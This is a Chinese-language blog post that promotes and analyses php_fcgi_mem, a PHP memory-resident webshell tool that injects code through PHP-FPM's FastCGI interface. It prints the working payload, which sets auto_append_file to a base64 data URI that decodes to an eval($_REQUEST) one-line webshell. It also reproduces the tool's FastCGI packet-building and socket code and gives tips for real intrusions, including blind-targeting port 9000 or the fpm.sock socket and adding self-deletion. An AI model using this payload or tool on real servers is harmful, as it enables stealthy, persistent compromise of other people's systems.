朋友写的项目,刚好分析一下。
项目介绍
我在前几天的一篇文章里小提过一次php内存马,不过提的非常浅显,在这里的4.3节:
里面只提了最简单的一种php内存马,即以删除自身后不断落地webshell来达到内存驻留的内存马。这种内存马十分容易被发现,因为总会有文件落地。而本次我们要分析的内存马则会通过FPM进行,除了初始文件(可被删除)外无文件落地,且在所有路由下可用,比较类似于Java中的agent(都是进程注入)内存马。
朋友的项目github:
GitHub - bakabakaba/php_fcgi_mem
使用方法
在分析源代码之前我们可以先查看使用步骤,这也可以让我们提前了解部分代码的运行原理。
php_fcgi_mem/README.md at main · bakabakaba/php_fcgi_mem · GitHub
what is FPM
说起fpm可能大多数人会觉得陌生(or may only me),但说到fastcgi想必大多数人都有所耳闻。PHP-FPM的全称为PHP FastCGI Process Manager,是用于管理php-fastcgi的软件。一般情况下,它会负责将php请求从服务器转发到它管理的一个或多个php进程。通常nginx环境下就会用到fastCGI进行通信,那就很有可能存在fpm。可以使用php-[version]-fpm.sock进行通讯以执行fastcgi指令。
而我们要分析的这个工具使用的则是FPM中的一个特性,它会允许我们通过fastcgi包进行一些操作如动态修改环境变量等。工具的原理即是利用fastcgi的功能进行特定操作,再结合php本身的特性达到内存马注入的效果。
源代码分析
源代码文件只有一个,即为要被上传到web的内存马本体。
php_fcgi_mem/php_fcgi_mem.php at main · bakabakaba/php_fcgi_mem · GitHub
类分析
类与函数的解析直接在github上看即可。
三个类,一个Client毫无疑问是主类,两个Exception类用于错误处理。
两个Exception类还没写完,咕咕咕^ ^。
函数分析v1
全部分布在Client类下,应当是一些工具函数和用于连接的函数。
在通读代码之前我们可以先顾名思义一下,联系fastcgi不难看出这些函数总体上是一些用于构造通信包的函数,如所有带了build和read、get的函数;或者是与fastcgi进行通讯的函数,如connect、request、repsonse等。
代码分析
主要是对非类成员的代码进行分析,也就是文件中真正执行的部分:
这里的代码非常简单,接收参数host和port作为连接参数,然后将参数传入Client类且执行其request函数。这里我们可以看到shellcode存储在$PHP_ADMIN_VALUE中:
$PHP_ADMIN_VALUE = "allow_url_include = Onnopen_basedir = /nauto_append_file = 'data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4='"; //php payload
上文中使用的是fastcgi的动态环境变量更新功能:php环境可以通过向fastCGI发送fastcgi包以执行一些与php本身相关的操作,如修改环境变量。
而环境变量中除了常见的allow_url_include等,还有一些比较重要的部分,比如上文中已经出现了的auto_append_file和与其相对的auto_prepend_file。在设置了这两个环境变量后,当前php环境下的所有页面都将提前或最后加载它们的值。
比如我设置php.ini中auto_append_file=1.php,则所有当前环境下的php文件都会在结尾额外执行一次1.php的内容。而在本工具中,auto_append_file的值以file协议传入,为一个一句话木马:
<?php @eval($_REQUEST[test]); ?>
则通信完成后后续加载的所有包都将require这个一句话木马,达到注入内存马的效果。
函数分析v2
由于上文中Client对象首先调用的是request函数,我们的解读也将从它开始。
request/async_request
这两个函数合并在一起讲解。
request部分简单进入async_request,然后wait_for_response。顾名思义,我就不多细讲。
async_request函数第一行调用connect,这个函数用于与fastcgi建立连接并赋值给_socket,然后它生成一个随机id并测试连接存活:
$this->connect();
$id = mt_rand(1, (1 << 16) - 1);
$keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
这部分一长段但是非常简单,遍历传入的para,使用buildNvpair构造包:
$request = $this->buildPacket(self::BEGIN_REQUEST
, chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5)
, $id
);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
这里则把content(也就是自定义输入)也构造进去了,长度不超过设置的最大长度即可:
if ($stdin) {
while (strlen($stdin) > self::FCGI_MAX_LENGTH) {
$chunkStdin = substr($stdin, 0, self::FCGI_MAX_LENGTH);
$request .= $this->buildPacket(self::STDIN, $chunkStdin, $id);
$stdin = substr($stdin, self::FCGI_MAX_LENGTH);
}
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
这里直接写入socket,然后存储包到_request,返回id:
if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
$info = stream_get_meta_data($this->_sock);
if ($info['timed_out']) {
throw new TimedOutException('Write timed out');
}
fclose($this->_sock);
throw new Exception('Failed to write request to socket');
}
$this->_requests[$id] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
wait_for_response/wait_for_response_data
这两个函数合并在一起讲解。
首先wait_for_response根据入参的id调用wait_for_response_data,然后返回其['response']部分。
进入wait_for_response_data,前面几个预处理限于篇幅就先跳过了,直接来看死循环部分。
循环使用readPacket进行读取到response,这个函数从fastcgi-socket里尝试读取一个流然后试图使用decodePacketHeader将流decode为response。
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && ($buf = fread($this->_sock, $len)) !== false) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf = fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
然后我们继续来看循环部分:
while ($resp = $this->readPacket()) {
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
if ($resp['type'] == self::STDERR) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[$resp['requestId']]['response'] .= $resp['content'];
}
if ($resp['type'] == self::END_REQUEST) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
if ($resp['requestId'] == $requestId) {
break;
}
}
if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
$this->set_ms_timeout($this->_readWriteTimeout);
throw new Exception('Timed out');
}
}
这里死循环直到接收到返回值(我们socket通讯是这样的),然后内部判断状态是否报错/结束/超时,状态为结束即END_REQUEST时跳出循环,来到处理部分:
if (!is_array($resp)) {
$info = stream_get_meta_data($this->_sock);
$this->set_ms_timeout($this->_readWriteTimeout);
if ($info['timed_out']) {
throw new TimedOutException('Read timed out');
}
if ($info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof']) {
throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
}
throw new Exception('Read failed');
}
$this->set_ms_timeout($this->_readWriteTimeout);
switch (ord($resp['content'][4])) {
case self::CANT_MPX_CONN:
throw new Exception('This app can't multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $this->_requests[$requestId];
}
首先它会判断resp是否为数组(正常应该为数组形式,因为会存储content等值),如果不是数组就进入报错流程,也就是错误检查。然后判断resp['content'][4](也是个错误检查),如果为REQUEST_COMPLETE即返回包。
总结
代码的主要执行流程如上文所示,回到主执行过程可以看到发完这个fastcgi包之后程序已经结束(shellcode已经被注入到环境中)。笔者认为最后可以添加一个自删除函数以省去删除步骤。而用户一开始传入的port和host实际上是需要通讯的fastcgi位置,实战中按照木马文件提示使用本机9000端口或fpm.sock盲打即可。
. . . * . * 🌟 * . * . . .
由于很多人问我微信群的事情,所以我建了一个小微信群。现在可以在公众号菜单里选择合作交流->交流群获取交流群二维码,希望大家和谐交流,为更好更友善的行业环境贡献自己的力量。
如果喜欢我的文章,请点赞在看。网安技术文章、安卓逆向、渗透测试、吃瓜报道,尽在我的公众号:
原文始发于微信公众号(重生之成为赛博女保安):介绍分析一个非常好用的php内存马工具!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论